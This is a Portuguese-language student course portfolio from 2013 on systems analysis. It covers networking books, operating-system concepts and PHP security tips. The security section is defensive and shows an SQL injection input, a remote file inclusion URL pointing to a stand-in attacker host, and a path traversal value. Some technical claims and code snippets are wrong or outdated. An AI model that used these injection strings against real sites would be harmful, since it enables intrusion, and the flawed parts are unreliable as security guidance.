Você está na página 1de 17

SISTEMA DE ENSINO PRESENCIAL CONECTADO curso superior de tecnologia em ANALISE E DESENVOLVIMENTO DE SISTEMAS

ANSELMO PACHECO NEVES

PORTIFLIO individual

Bom Jesus da Lapa - BA Maio de 2013

ANSELMO PACHECO NEVES

PORTIFLIO individual

Trabalho apresentado ao Curso Analise e Desenvolvimento de Sistemas da UNOPAR Universidade Norte do Paran, para as seguintes disciplinas: Programao Web I, Redes de Computadores, Sistemas Operacionais, Projeto de Sistemas, Interface Homem-Computador, Metodologia Cientfica. Professores: Veronice de Freitas Paulo K. Nishitani Everson M. Morais Marco I. Hisatomi Adriane A. Loper Reinaldo B. Nishikawa

Bom Jesus da Lapa - BA Maio de 2013

SUMRIO

1. INTRODUO.................................................................................. 2. OBJETIVO........................................................................................ 3. DESENVOLVIMENTO...................................................................... 3.1 ................................................................................................ 3.2 .................................................................................. 3.3 .................................................................................. 3.4 .................................................................................. 3.5 .................................................................................. 4. CONCLUSO .................................................................................. 5. REFERNCIAS BIBLIOGRFICAS ................................................

1. INTRODUO

O trabalho me d a oportunidade de desenvolver atividades que fortalecem o meu conhecimento em todas as reas que tratamos durante o Curso em especial neste 5 Semestre, podendo assim, me preparar da melhor maneira para a elaborao do TCC, aplicando todo conhecimento adquirido at aqui.

2. OBJETIVO

O objetivo me preparar nesta reta final do Curso em vrios aspectos (tericos e prticos), pois tive a oportunidade de realizar durante todo este tempo estudos embasados nos mais variados assuntos referente a Anlise e Desenvolvimento de Sistemas para que pudesse chegar at aqui com toda bagagem que me cabe, por este motivo, viso adquirir mais conhecimento e pod-los transmitir de forma coerente neste Portiflio.

3. DESENVOLVIMENTO Com base no Cenrio Proposto Nossa Locadora de Livros, elabore as atividades de acordo com as seguintes diretrizes: 3.1. Considerando que nossa locadora tambm ser composta por livros digitais, pesquise junto a internet pelo menos 6 livros de Redes de Computadores, referenciando obra e autor. 1) OBRA: Segurana De Redes AUTOR: Tom Thomas ANO: 2007 EDITORA: Cincia Moderna 2) OBRA: Criptografia e Segurana de Redes AUTOR: William Stallings ANO: 2007 EDITORA: Prentice-Hall 3) OBRA: Redes De Computadores Teoria E Pratica AUTOR: Douglas Rocha Mendes ANO: 2007 Editora: Novatec 4) OBRA: Arquitetura De Redes De Computadores AUTOR: Luis P. Maia ANO: 2009 Editora: LTC 5) OBRA: Infra-Estrutura Eltrica Para Rede De Computadores AUTOR: Jos Maurcio Pinheiro ANO: 2008 Editora: Cincia Moderna 6) OBRA: Use a Cabea! Redes De Computadores AUTOR: Ryan Benedetti e Al Anderson ANO: 2010 Editora: Alta Books Algumas outras: Tanenbaum, Andrew S.; J. Wetherall, David. Redes de Computadores. 5 Ed. Pearson Education Br. 2011 Boavida, Fernando ; Bernades, Mrio. Administrao de Redes Informticas 2 Ed. Lidel

Zamboni. Burgess, Mark. Princpios de Administrao de Redes e Sistemas 2 Ed. Ltc. 2006. Costa, Daniel Gouveia. Administrao de Redes com Scripts - Bash Script , Python e Vbscript 2 Ed. Brasport. 2010.

3.2. Quando trabalhamos a comunicabilidade, cujo o objetivo deste conceito como (design) a informao apresentada ao usurio para trazer benefcios. Como podemos aplicar este conceito em nossa locadora de livros. Justifique. Tendo uma viso ampla do Projeto de um Software em si, vejo da seguinte maneira: necessrio que no transcorrer do projeto procuremos dar maior ateno ao Processo de Informao em sua interface. De acordo com pesquisas realizadas na prtica os desenvolvedores sempre procuram realizar testes com usurios finais para que seja testado o software na real situao, no ambiente onde ele ser implantado, para que assim possamos enxergar a aceitao do usurio no decorrer da utilizao do Programa na fase de testes, tendo assim uma concluso quase perfeita do trabalho desenvolvido. Com o projetos da locadora de livros no pode ser diferente. 3.3. Realize uma pesquise sobre os Sistemas Multiprogramveis e com Mltiplos Processadores, identificando suas caractersticas predominantes. SISTEMAS MULTIPROGRAMVEIS 1. Introduo Possibilidade de perifricos e dispositivos funcionarem simultaneamente junto com a CPU permitiu execuo de tarefas concorrentes. Sistemas Operacionais podem ser vistos como um conjunto de rotinas que executam concorrentemente de uma forma ordenada Sistemas multiprogramveis X baixa utilizao dos recursos do sistema. Uso Mdio CPU monoprogramveis 30% X multiprogramveis 90%. Vrios programas podem estar residentes na memria, deixando-a menos ociosa Quando um programa perde o uso do processador, o estado do processamento deve ser armazenado para quando ele retornar para continuar executando a partir de onde parou. Compartilhamento de perifricos e recursos do sistema por vrios usurios e programas. Maior compexibilidade do Sistema Operacional. 2. Interrupo e Exceo Interrupo X Exceo Interrupo gerada por evento sncrono e Exceo gerada por evento assncrono. Evento sncrono Resultado direto da execuo do programa corrente e so previsveis. Evento assncrono Ocorre independentemente da execuo do programa corrente e so imprevisveis. Interrupes

Tornou possvel a implementao da concorrncia nos sistemas multiprogramveis. Eventos que causam interveno no Sistema Operacional durante a execuo de programas. Gerados pelo prprio Sistema Operacional ou por Hardware. O sistema desviado para uma rotina especial de tratamento. Vetor de Interrupo Relao de todas as rotinas de tratamento das interrupes. Mecanismo de Interrupo Procedimento para detectar a interrupo, salvar o contexto do programa e desviar para a rotina de tratamento. Na maioria das vezes implementados pelos projetistas e realizados pelo harware. Mascarveis (podem ser desabilitadas) X No-Mascarveis (tratamento obrigatrio). As interrupes possuem prioridades de execuo. Controlador de pedidos de interrupo avalia as interrupes geradas e suas prioridades de atendimento. Exceo Resultado direto da execuo de uma instruo do prprio programa (ex: diviso por zero, overflow). Muitas vezes pode ser escrita pelo prprio programador, sendo possvel evitar que um programa seja encerrado no caso de alguma exceo ocorrer. 3. Operaes de Entrada/Sada Instrues de entrada/sada: Primitivo. Comunicao entre a CPU e os perifricos controladas por um conjunto de instrues especiais. Limitava a comunicao do processador a um conjunto particular de dispositivos. controlador de interfae: Mais atual CPU interage independente dos dispositivos de E/S. CPU no comunica diretamente com perifricos, mas atravz de um controlador. Controle de operaes de E/S pelo processador Controlada por programa: CPU sincronizada com perifrico no incio daoperao Sistema testa perifrico esperando final da operao Ocupa CPU at trmino da operao (busy wait) Desperdcio de CPU. Por Polling CPU liberada para outras tarefas. Controlador testa final da operao a cada perodo de tempo (polling). Permitiu o paralelismo e sistemas multiprogramveis. Mais eficiente DMA Polling exigiu a implementao, por parte do controlador, da Direct Memory Access (DMA). Transferir blocos de dados entre memria e perifricos, sem interveno da CPU, a no ser no incio e trmino da operao. CPU interrompida s no incio e final da Operao. No momento da Transferncia da DMA, CPU interrompe acesso ao bus. No IBM 7094:

Extenso do conceito de DMA Canal de E/S processador para executar programas de E/S. Controle total sobre operaes de entrada e sada. Instrues E/S armazenadas na memria principal pela CPU CPU instrui canal para executar programa de canal. O canal avisa o trmino da operao. Um canal pode controlar mltiplos dispositivos atravs de diversos controladores. Um controlador pode manipular um dispositivo, ou um conjunto de dispositivos. Canal - ligao entre CPU e controlador. Processador de E/S: Evoluo com memria prpria. Sem necessidade de programas de E/S serem carregados na Memria Principal. Controle com mnima interveno da CPU. 4. Buffering Utilizao de uma rea da memria para transferncia de dados entre perifricos e memria principal denomidada buffer. Os dado so transferidos para o buffer. O dispositivo pode iniciar nova leitura enquanto a CPU manipula os dados do buffer. O mesmo pode ser aplicado para operaes de gravao. Minimiza o problema da disparidade da velocidade de processamento e dispositivos de E/S Objetiva manter CPU e dispositivos de E/S ocupados na maior parte do tempo. O buffer possui uma fila FIFO podendo conter vrios registros (unidade de transferncia usada no mecanismo de buffering). 5. Spooling (simultaneous pefipheral operation on-line) Surgiu no final dos anos 50. Base dos Sistemas Batch Antes, as Operaes I/O eram lentas, deixando a CPU ociosa. No spooling vrios programas (JOBS) eram armazenados em uma fita magntica, ento eram enviados para processamento. Diminuio do tempo de execuo dos jobs e transio entre eles. Da mesma forma um job poderia direcionar as sadas para impressora para outra fita. Sistemas estritamente sequenciais devido as fitas magnticas. Mais eficincia com o surgimento de dispositivos de acesso direto, como discos e atribuio de prioridades aos jobs. 6. Reentrncia Diversos usurios podem estar rodando o mesmo utilitrio (compartilhado) simultaneamente. No precisa ter mais de uma cpia do mesmo utilitrio na memria Exige que o cdigo reentrante no possa ser modificado por nenhum usurio enquanto est sendo executado. Diversos usurios podem acessar partes diferentes do cdigo manipulando seus prprios dados Exemplo: Editores de texto, compiladores, linkers. 7. Proteo do Sistema Garantia de proteo de recursos compartilhados, como memria, dispositivos de E/S e CPU Na memria, cada usurio deve possuir uma rea de dados e cdigos armazenados de forma

que outros no interfiram nessas informaes. Numa impresso, no deve ser possvel a utilizao at que a impresso corrente termine. O Sistema Operacional deve implementar esses mecanismos (modos de acesso). SISTEMAS COM MULTIPLOS PROCESSADORES Sistemas com mltiplos processadores so arquiteturas que possuem duas ou mais UCPs interligadas e que funcionam em conjunto na execuo de tarefas independentes ou no processamento simultneo de uma mesma tarefa. Inicialmente, os computadores eram vistos como mquinas sequenciais, em que o processador executava as instrues de um programa uma de cada vez. Com a implementao de sistemas com mltiplos processadores, o conceito de paralelismo pode ser expandido a um nvel mais amplo. A evoluo desses sistemas se deve, em grande parte, ao elevado custo de desenvolvimento de processadores mais rpidos. Em funo disso, passou-se a dar nfase a computadores com mltiplos processadores, em vez de arquiteturas com um nico processador de alto desempenho. Outra motivao so aplicaes que necessitam de grande poder computacional, como sistemas de previso do tempo, dinmica dos fluidos, genoma humano, modelagens e simulaes. Com mltiplos processadores, possvel reduzir drasticamente o tempo de processamento destas aplicaes. Inicialmente, as configuraes limitavam-se a poucos processadores, mas, atualmente existem sistemas com milhares de processadores. Os primeiros sistemas com mltiplos processadores surgiram na dcada de 1960, com o objetivo principal de acelerar a execuo de aplicaes que lidavam com um grande volume de clculos. Por muito tempo, esses sistemas foram utilizados quase que exclusivamente em ambientes acadmicos e centros de pesquisas voltados para o processamento cientfico. O mercado corporativo comeou realmente a utilizar os sistemas com mltiplos processadores na dcada de 1980, para melhorar o desempenho de suas aplicaes comerciais e reduzir o tempo de resposta dos usurios interativos. Posteriormente, as empresas reconheceram tambm nesse tipo de sistema uma maneira de aumentar a confiabilidade, a escalabilidade e a disponibilidade, alm da possibilidade do balanceamento de carga de suas aplicaes. Atualmente, a maioria dos servidores de banco de dados, servidores de arquivos e servidores Web utiliza sistemas com mltiplos processadores. Alm disso, sistemas com mltiplos processadores esto sendo utilizados em estaes de trabalho e, at mesmo, em computadores pessoais. Isso foi possvel devido reduo de custo dessas arquiteturas e evoluo dos sistemas operacionais, que passaram a oferecer suporte a mltiplos processadores. Vantagens e Desvantagens Desempenho A princpio, sempre que novos processadores so adicionados arquitetura de uma mquina, melhor o desempenho do sistema. Apesar de esta relao no ser linear, o aumento de desempenho pode ser observado pelo maior throughput do sistema, pela reduo no tempo de resposta e pelo menor tempo de processamento das aplicaes. O desempenho pode ser formalmente medido utilizando os padres especificados pelo consrcio Transaction Processing Performance Council (TPC), criado em 1988 e formado por inmeras empresas. O TPC oferece trs benchmarks (TPC-A, TPC-B e TPC-C) que podem ser aplicados para determinar o desempenho comparativo de diversos sistemas, alm da relao

custo/desempenho. O ganho de desempenho com mltiplos processadores pode ser obtido em dois nveis. No primeiro nvel, mltiplos processadores permitem a execuo simultnea de diversas tarefas independentes, aumentando o throughput do sistema. Servidores de bancos de dados e servidores Web so bons exemplos de ambientes onde o aumento do nmero de processadores permite atender um nmero maior de usurios simultaneamente. No segundo nvel, mltiplos processadores permitem a execuo de uma mesma tarefa por vrios processadores simultaneamente (processamento paralelo). Neste caso, o ganho de desempenho depender de diferentes fatores, como a organizao dos processadores, a linguagem de programao utilizada e o grau de paralelismo possvel na aplicao. o processamento paralelo mais difcil de ser implementado, e apenas algumas aplicaes oferecem ganhos reais com aumento do nmero de processadores (aplicao concorrente). Escalabilidade Escalabilidade a capacidade de adicionar novos processadores ao hardware do sistema. Em ambientes que permitam apenas um processador, para aumentar a capacidade computacional necessrio substituir a UCP por uma outra com maior poder de processamento. Com mltiplos processadores, possvel ampliar a capacidade de computao apenas adicionandose novos processadores, com um custo inferior aquisio de um outro sistema com maior desempenho. Relao custo/desempenho Sistemas com um nico processador, por mais poderosos que sejam, apresentam limitaes de desempenho inerentes sua arquitetura, devido s limitaes existentes na comunicao da UCP com as demais unidades funcionais, principalmente memria principal. Alm disso, o custo do desenvolvimento de um processador que oferea desempenho semelhante a um sistema com mltiplos processadores muito elevado. Sistemas com mltiplos processadores permitem utilizar UCPs convencionais de baixo custo, interligadas s unidades funcionais atravs de mecanismos de interconexo. Desta forma, possvel oferecer sistemas de alto desempenho com custo aceitvel. Tolerncias a falhas e disponibilidade Tolerncia a falhas a capacidade de manter o sistema em operao, mesmo em casos de falha em algum componente. Nesta situao, se um dos processadores falhar, os demais podem assumir suas funes de maneira transparente aos usurios e suas aplicaes, embora com menor capacidade computacional. A disponibilidade medida em nmero de minutos por ano que o sistema permanece em funcionamento de forma ininterrupta, incluindo possveis falhas de hardware ou software, manutenes preventivas e corretivas. Uma alta disponibilidade obtida com sistemas com maior tolerncia a falhas. Sistemas de alta disponibilidade so utilizados em aplicaes de misso crtica, como sistemas de trfego areo e de comrcio eletrnico na internet.

Balanceamento de Carga Balanceamento de carga a distribuio do processamento entre os diversos componentes da configurao, a partir da carga de cada processador, melhorando, assim, o desempenho do sistema como um todo. Servidores de bancos de dados, que oferecem esse tipo de facilidade, permitem que as solicitaes dos diversos usurios sejam distribudas entre os vrios processadores disponveis. Apesar das inmeras vantagens, sistemas com mltiplos processadores tambm possuem desvantagens. Com mltiplos processadores, novos problemas de comunicao e sincronizao so introduzidos, pois vrios processadores podem estar acessando as mesmas posies de memria. Alm disso, existe o problema de organizar os processadores, memrias e perifricos de uma forma eficiente, que permita uma relao custo/desempenho aceitvel. Dependendo do tipo de sistema, a tolerncia contra falhas dependente do sistema operacional e no apenas do hardware, sendo difcil de ser implementada. Depois de ter pesquisado e analisado os dois tipos de Sistemas, pude fazer a minha interpretao da seguinte forma: Sistemas Multiprogramveis so aqueles que permitem a excuo de mais de um programa de vez. Cada programa tem um tempo para ser processado. O programa vai para o processador gasta o tempo e trocado por outro e assim vai indo. Devido a este ciclo d a impresso que esto sendo executados vrios programas simultaneamente, mas na verdade s passa um por vez no processador. Sistemas com Mltiplos Processadores o computador tem mais de um lugar para processar, neste caso temos de fato mais de um programa rodando em paralelo simultaneamente, observada a seguinte informao: programa 1 pode rodar no processador 1, programa 2 no processador 2 e assim sucessivamente.

3.4. Faa uma pesquisa em segurana de cdigos PHP. Todo Projeto de Software tem que ter por base a preocupao com a questo da Segurana das Informaes. Segurana uma palavra de amplitude no avalivel quando falamos do Desenvolvimento de Softwares ou de TI. Ou seja, segurana no apenas um "coisa" de Redes de Computadores, Administradores de Bancos de Dados, mas tambm de Desenvolvedores e Administradores de Sistemas. Vamos ver aqui alguns exemplos simples de cdigos inseguros que podem comprometer todo um sistema. 1) (Cross site script) regra Numero um, nunca passe dados importantes via GET Exemplo. Uma pagina que usa templates onde o link para o template passado via GET. http://exemplo.com.br/exemplo.php?link=faleconosco.html Isto poderia gerar um grande transtorno, pois, a pessoa poderia passar qualquer endereo acima, o que poderia fazer por exemplo, que esta pgina funcionasse como um site porn. 2) (tratamento de dados) Regra numero dois, sempre que passar um dado via GET tratar esse

dado usando REGEX ou qualquer tipo de mascara, para ter certeza do tipo de dado recebido. http://exemplo.com.br/exemplo.php?cod=123 $cod = int($_GET["cod"]); //isto j transformaria qualquer dado para inteiro 3) (Sql injection) Esta regra comumente usada por programadores desatentos. Nunca passe dados de um formulrio direto para um query. Exemplo: Cdigo html

cdigo php Ou seja, as variveis $login e $senha chegam direto no banco de dados sem nenhum tratamento ou o que pode acontecer. Se o usurio digitar no login ou na senha OR "1=1", ou seja, $user = a nada OR 1=1 -->passou $senha = a nada OR 1=1 -->passou e pode-se fazer muito mais.... Uma simples validao de senha e login evitaria isso, sendo este tipo de invaso muito comum e de responsabilidade do programador no do servidor de hospedagem. 4) (tipo de dados) Quarta regra: Sempre verificar e indicar a origem da variavel. Exemplo: $cod = $_GET["cod"] //tipo get $cod = $_POST["cod"] //tipo post $cod = $_SESSION["cod"] //tipo session $cod = $_COOKIE["cod"] //tipo cookie J que por padro as verses superiores a 4.2 trazem a varivel global desabilitada 5) restrio de html htmlspecialchars. Exemplo: um formulrio padro com campos abertos como de observao onde o usurio poderia colocar no lugar de simples texto um cdigo html comum, um link de foto ou at um javascript malicioso. Para impedir isso existe um tratamento importante com a funo htmlspecialchars() (ver documentao do php) que transforma cdigos html em simples cdigos texto. 6) Gravar arquivos via upload. Sempre que for gravar um arquivo via upload tenha certeza do tipo de arquivo que est gravando. Por exemplo um arquivo de imagem pode ser simplesmente tratado usando uma validaco de tipos. Exemplo: function type_up() {//Verifica se o mime-type do arquivo de imagem if(!eregi("^image\/(pjpeg|jpeg|png|gif|bmp)$", $this->arquivo["type"])){ return 0; }else{ return 1; } }

Com isso no sera gravado outro tipo de arquivo que no uma imagem. Poderamos citar vrios outros casos de invaso ou insegura de cdigos de sistemas, por isso, acredito que esta discurso estar sempre aberta, porm, o mais importante termos a conscincia de que na fase de Projeto no nascimento do software que j devemos est pensando em SEGURANA. Abaixo posto um artigo que encontrei na NET muito interessante sobre SEGURANA. IMAGEM DE SEGURANA COM GD Neste artigo, vou abordar um tema comum, e que muitos desenvolvedores necessitam em seus sistemas: validao de formulrios atravs de uma imagem de segurana, que gera valores aleatrios. Voc precisa ter a biblioteca GD instalada no servidor, e para tanto, leia mais sobre ela aqui: http://www.php.net/manual/pt_BR/ref.image.php form.php Tenho um formulrio simples, que j chama a imagem de validao

Seu nome:

Nmero de segurana:

Como funciona isso: note que a imagem, o arquivo gd.php. Isso se deve ao fato de que este arquivo ser quem ir gerar a imagem de segurana, ento, ele sendo chamado, far o trabalho de colocar a imagem pra voc, no local especificado. form2.php Ao clicar em enviar, o que acontece: Sendo assim, o arquivo gd.php, est fazendo a verificao do que foi digitado no campo e comparando com o valor que ele gerou dinamicamente. Se igual, informa isso, seno, retorna o erro. Voc pode implementar o que quiser utilizando este cdigo, bastando para tanto utilizar-se da parte onde trabalha o GD, e colocar o que mais voc necessitar. Voc tambm poder gerar vrias imagens de validao em uma nica pgina: bata criar vrios arquivos como o arquivo gd.php, que vamos ver a seguir. gd.php

O que temos ento, um arquivo simples, que gera imagens baseado em informaes resgatadas de valores previamente informados. Lembrando que voc pode usar letras e nmeros, somente letras, ou somente nmeros como mostrado aqui. Basta adequar a sua necessidade. Vou falar sobre "vulnerabilidade" ou melhor um descuido do programador ao desenvolver um sistema de includes. Digamos que seja desenvolvido o seguinte script PHP em que o usurio ir acessar o site e suas categorias pelo seguinte endereo: Citao: http://www.site.com.br/index.php?arquivo=empresa.php Onde o arquivo index.php seria: Citao: http://www.site.com.br/index.php

Tudo certo??? No! Tudo errado. Digamos que algum usurio mal intencionado acesse o site pela seguinte url: Citao: http://www.site.com.br/index.php?arquivo=http://www.malintencionado.com.br/pegardados .php E agora o arquivo pegar_dados.php vai conter: Citao: http://www.malintencionado.com.br/pegardados.php

Ou quem sabe o usurio poderia vir a "tomar posse" do sistema usando o comandos do sistema operacional. Com a funo passthru("comando") abaixo vou mostrar um arquivo que mostraria todos os dados da unidade C:, mas lembrando que poderia ser executado qualquer outro comando... Citao: http://www.malintencionado.com.br/pegardados.php

E lembrando que o usuario poder acessar qualquer arquivo do sistema por exemplo: Citao: http://www.site.com.br/index.php?arquivo=../../../secreto.txt A soluo para esses casos seria simplesmente a validao de dados que o usurio vai enviar. O arquivo index.php "seguro" ficaria desta maneira: Citao: http://www.site.com.br/index.php

Pessoalmente no acho conveniente sistemas de include desenvolvidos deste modo, porque quanto mas voc poder esconder como o sistema melhor, ficaria bom se os includes fossem dados por id exemplo http://www.site.com.br/index.php?arquivo=1 e ficaria melhor ainda se possvel voc mudar a extenso do php para .html por exemplo...

E se caso algum dia voc precisar desenvolver algum script que ir utilizar a funo passthru(), derer ser feito a validao dos dados com a funco escapeshellarg() ou escapeshellcmd(). 3.5. (Marco) Considerando o Estudo de Caso Nossa Locadora de Livros, descreva como voc atenderia a necessidade deste Projeto com base nos conhecimentos da Disciplina de Projetos de Sistemas. I) Elaborar a relao das atividades necessrias para a anlise do Projeto do Sistema, com os aspectos responsveis (papeis). II) Desenvolver o Cronograma das atividades desenvolvidas no Item I. ** Todas as tarefas do aluno estaro sendo apoiadas no Frum. Fonte de consulta: Livro Projeto de Sistemas, Hisatomi, Marco I, Unidade 3.

4. CONCLUSO

Optei neste Semestre por voltar o foco dos meus estudos para adquirir maiores conhecimentos prticos e tericos que pudessem ser de grande serventia no desenvolvimento do TCC e graas Deus pude finalizar a minha luta neste 5 Semestre com a concluso deste Portiflio onde pude expandir minha viso para inmeros situaes que iro me ajudar muito no prximo degrau a ser galgado e na elaborao do TCC. Pude ver que quanto mais buscamos, melhor nos saimos.

5. REFERNCIAS AUDY, Jorge Luis Nicolas; BRODBECK, ngela Freitag. Sistemas de informao: planejamento e alinhamento estratgico nas organizaes. Porto Alegre: Bookman, 2008. Disponvel em: . Acesso em: mar. 2013. BELLO, Jos Luiz de Paiva. Metodologia cientfica: manual para elaborao de textos acadmicos, monografias, dissertaes e teses. Rio de Janeiro: Veiga de Almeida, 2008. Disponvel em: . Acesso em: mar. 2013. COMER, Douglas E. Rede de computadores e Internet. 4. ed. Porto Alegre: Artmed, c2007. Disponvel em: . Acesso em: mar. 2013. CORDEIRO, Maria Ins. Sistemas, recursos e servios de informao: transformao de paradigmas e modelos de gesto. Disponvel em: . Acesso em: mar. 2013. COSTA, Daniel Gouveia. Administrao de redes com scripts: Bash Script, Python e VBScript. Rio de Janeiro: Brasport, 2007. Disponvel em: . Acesso em: mar. 2013. JARDIM, Fernando de Moraes. Treinamento avanado em redes wireless. So Paulo: Digerati Books, 2007. Disponvel em: . Acesso em: mar. 2013. KAHLMEYER-MERTENS, Roberto S. Como elaborar projeto de pesquisa: linguagem e mtodo. Rio de Janeiro: FGV, 2007. Disponvel em: . Acesso em: mar. 2013. MARTINS, Heloisa Helena T. de Souza. Metodologia qualitativa da pesquisa. Educao e Pesquisa, So Paulo, v. 30, n. 2, p. 289-300, maio/ago. 2004. Disponvel em: . Acesso em: mar. 2013. REZENDE, Denis Alcides. Engenharia de software e sistemas de informao. 3. ed. Rio de Janeiro: Brasport, 2005. Disponvel em: . Acesso em: mar. 2013. ROSINI, Alessandro Marco; PALMISANO, Angelo. Administrao de sistemas de informao e a gesto do conhecimento. So Paulo: Pioneira, 2003. Disponvel em: . Acesso em: mar. 2013. TANEMBAUM, Andrew S. Redes de computadores. Rio de Janeiro: Elsevier, 2003. Disponvel em: . Acesso em: mar. 2013. WAZLAWICK, Raul Sidnei. Anlise e projeto de sistemas de informao orientados a objetos. 2. ed. Rio de Janeiro: Elsevier, 2011. Disponvel em: . Acesso em: mar. 2013. WAZLAWICK, Raul Sidnei. Anlise e projeto de sistemas de informao orientados a objetos. 2. ed. Rio de Janeiro: Elsevier, 2011. Disponvel em: . Acesso em: mar. 2013. CONTROLE & AUTOMAO SOCIEDADE BRASILEIRA DE AUTOMATICA. Disponvel em: . Acesso

em: mar. 2013. REVISTA DE INFORMAO E TECNOLOGIA. Disponvel em: . Acesso em: mar. 2013. REVISTA DE INFORMTICA TERICA E APLICADA. Disponvel em: . Acesso em: mar. 2013. AZEVEDO, Celina Borges. Metodologia cientfica ao alcance de todos. Barueri: Manole, 2009. BARROS, Aidil Jesus da Silveira; LEHFELD, Neide Aparecida de Souza. Fundamentos de metodologia cientfica. 3. ed. So Paulo: Pearson, 2007. BATISTA, Erika. Iniciao cientfica em cincias humanas. Curitiba: IBPEX, 2010. CASTRO, Cludio de Moura. A prtica da pesquisa. 2. ed. So Paulo: Pearson Prentice Hall, 2008. KUROSE, James F.; ROSS, Keith W. Redes de computadores e a Internet: uma abordagem topdown. 5. ed. So Paulo: Addison-Wesley, 2010. NISHIKAWA, Tase Ferreira da Conceio. Metodologia da pesquisa cientfica: curso de graduao em Histria: licenciatura 6. So Paulo: Pearson Education do Brasil, 2009. NISHITANI, Paulo Kiyoshi. Redes de computadores: curso superior de tecnologia em Anlise e Desenvolvimento de Sistemas - 5. So Paulo: Pearson Education do Brasil, 2010. INTERNET